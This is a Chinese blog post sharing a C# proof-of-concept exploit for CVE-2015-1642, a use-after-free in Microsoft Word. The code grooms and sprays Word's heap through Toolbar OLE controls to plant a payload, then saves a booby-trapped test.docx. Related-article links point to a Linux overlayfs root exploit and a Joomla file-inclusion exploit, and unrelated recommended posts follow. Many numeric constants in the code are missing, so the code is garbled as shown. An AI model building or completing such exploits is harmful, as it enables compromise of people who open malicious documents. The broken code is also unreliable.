月初,玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章,之前对office上UAF漏洞利用占位问题有些疑问,刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定,漏洞成因和利用的细节请参见原文链接。今天想起来,就把POC发这里吧。

  原文链接:Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
} private void HeapSpray(Word.Document objDoc)
{
Word.InlineShape[] ocx = new Word.InlineShape[];
MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ]; int block_size = 0x1000; string padding = "\u8080\u8080";
while (padding.Length < 0x1000)
{
padding += "\u2121\u2121";
}
padding = padding.Substring(, (0x9f2 - 0xc) / ); // 0a0a0a0a points here
string shellcode = "\uC0DE\uC0DE"; string pattern = "\u9090\u9090";
while (pattern.Length < block_size)
{
pattern += pattern;
}
pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length); string block = padding + shellcode + pattern;
while (block.Length < 0xfffe0 / )
{
block += block;
} string chunk = block.Substring(, (0xfffe0 - 0x6) / ); //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X")); for (int i = ; i < ; i++)
{
ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = ; j < ; j++)
{
toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
}
}
} private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingB = "\u0c0c\u0c0c";
while (paddingB.Length < 0x60 / )
{
paddingB += paddingB;
}
string objAllocB = paddingB.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
} MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
} private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingA = "\u0a06\u0a0a";
while (paddingA.Length < 0x60 / )
{
paddingA += paddingA;
}
string objAllocA = paddingA.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
}
} private void button1_Click(object sender, EventArgs e)
{
Word.Application objWord = new Word.Application();
objWord.Visible = true; object objMissing = System.Reflection.Missing.Value;
Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing); // How to: Programmatically Insert Text into Word Documents;
// https://msdn.microsoft.com/en-us/library/6b9478cs.aspx Word.InlineShape[] ocx = new Word.InlineShape[]; ReplaceHeap(objDoc, ocx); ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); DefragmenHeap(objDoc, ocx); HeapSpray(objDoc); // Null out the reference
object filename = Application.StartupPath + @"\test.docx";
objDoc.SaveAs2(ref filename);
objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
objDoc = null;
objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
objWord = null;
}
}
}

CVE-2015-1642 POC的更多相关文章

  1. 如何确定Ubuntu下是否对某个CVE打了补丁

        前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015 ...

  2. CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

    catalog . 引言 . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch ...

  3. CVE-2015-1328(本地提权漏洞)

    /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebe ...

  4. [EXP]Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

    # Exploit Title: Joomla! Component Easy Shop - Local File Inclusion # Dork: N/A # Date: -- # Exploit ...

  5. GitHub万星项目:黑客成长技术清单

    最近有个GitHub项目很火,叫"Awesome Hacking",这个项目是由Twitter账号@HackwithGithub 维护,喜欢逛Twitter的安全爱好者应该了解,在 ...

  6. 转:GitHub 万星推荐成长技术清单

    转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫“Awesome Hacking”. ...

  7. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

  8. GitHub 万星推荐:黑客成长技术清单

    GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,“Awesome Hacking”无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项 ...

  9. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  10. 从补丁到POC CVE-2015-0003(2015.3)

    从补丁到POC CVE-2015-0003 1. 简介 该漏洞是由于Windows的win32k.sys模块存在对用户层参数验证不完全,导致存在空指针解引用(Null Pointer Derefere ...

随机推荐

  1. OpenCV Intro - Perspective Transform

    透视变换(Perspective Transformation)是将图片投影到一个新的视平面(Viewing Plane),也称作投影映射(Projective Mapping).通用的变换公式为: ...

  2. [原]SuperMap GIS(JavaScript) 拉框放大和缩小功能实现

    版权声明:本文为博主原创文章,未经博主允许不得转载. var ZoomControl; /* * 拉框缩小 */ function ZoomOut(){ if(ZoomControl==null||Z ...

  3. Git学习系列之Git产生的背景

    不多说,直接上干货! 史上最浅显易懂的Git教程! 为什么要编写这个教程?因为我在学习Git的过程中,买过书,也在网上Google了一堆Git相关的文章和教程,但令人失望的是,这些教程不是难得令人发指 ...

  4. Struts2注解详解

    一,引入支持Struts2支持注解开发jar包: struts2-convention-plugin-2.1.8.1.jar(支持Struts2框架注解开发的jar包) 二,Struts2使用注解开发 ...

  5. Emacs as a Python IDE(转)

    赋闲脱产的半年里,自己用C++/Java/Lisp胡乱写了几万行的代码,到了现在的公司,给OpenStack项目贴牛皮藓,反倒是Python用得最多.作为公司里面唯一的Emacser(没准也是 公司里 ...

  6. 使用ant宏定义任务

    基础basic.xml文件 <?xml version="1.0" encoding="UTF-8"?><project>    < ...

  7. Python基础(3) - 数据类型:5字典类型

    Python Dictionary 是 Python 的内置数据类型之一, 它定义了键和值之间一对一的关系 .它是用{}括起来的.每个Dictionary的项的句法为:key:value. Dicti ...

  8. Java ConcurrentModificationException异常原因和解决方法(转)

    摘自:http://www.cnblogs.com/dolphin0520/p/3933551.html#undefined 在前面一篇文章中提到,对Vector.ArrayList在迭代的时候如果同 ...

  9. 常用工具说明--GitHub团队项目合作流程

    注:其中 零.一.七 是由团队项目负责人来完成的.开发人员只要从 二 开始就行了. 零.前期准备: 首先把队友直接push的权限关掉,即设置成Read.这样可以防止队友误操作,未经审核就把代码push ...

  10. 比较2个文件内容不同行的shell脚本

    第一种:grep命令法 命令如下:grep -vxFf file1 file2 > a.txt 其中file2是大文件,file1是小文件 第一种:comm命令法 命令如下:comm  file ...